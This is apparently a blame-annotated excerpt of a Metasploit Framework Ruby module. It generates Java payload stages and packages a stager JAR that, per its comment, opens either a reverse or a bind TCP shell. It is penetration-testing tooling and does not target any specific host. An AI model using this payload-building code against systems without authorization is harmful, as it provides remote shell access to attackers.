2010-08-20 07:13:35 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
module Msf::Payload::Java
|
|
|
|
|
|
|
|
|
|
def generate_stage
|
|
|
|
|
stage = ''
|
|
|
|
|
@class_files.each do |path|
|
|
|
|
|
fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb")
|
|
|
|
|
data = fd.read(fd.stat.size)
|
|
|
|
|
stage << ([data.length].pack("N") + data)
|
|
|
|
|
end
|
|
|
|
|
stage << [0].pack("N")
|
|
|
|
|
|
|
|
|
|
stage
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# This is the same for both bind and reverse tcp depending on the existence
|
|
|
|
|
# of LHOST. If it's there, this use a reverse connection, if not, bind.
|
|
|
|
|
def tcp_stager_jar(config)
|
|
|
|
|
paths = [
|
|
|
|
|
[ "metasploit", "Payload.class" ],
|
|
|
|
|
]
|
|
|
|
|
|
|
|
|
|
jar = Rex::Zip::Jar.new
|
|
|
|
|
paths.each do |path|
|
|
|
|
|
1.upto(path.length - 1) do |idx|
|
|
|
|
|
full = path[0,idx].join("/") + "/"
|
2010-08-20 20:31:39 +00:00
|
|
|
if !(jar.entries.map{|e|e.name}.include?(full))
|
2010-08-20 07:13:35 +00:00
|
|
|
jar.add_file(full, '')
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb")
|
|
|
|
|
data = fd.read(fd.stat.size)
|
|
|
|
|
jar.add_file(path.join("/"), data)
|
|
|
|
|
fd.close
|
|
|
|
|
end
|
|
|
|
|
jar.build_manifest(:main_class => "metasploit.Payload")
|
|
|
|
|
jar.add_file("metasploit.dat", config)
|
|
|
|
|
|
|
|
|
|
jar
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|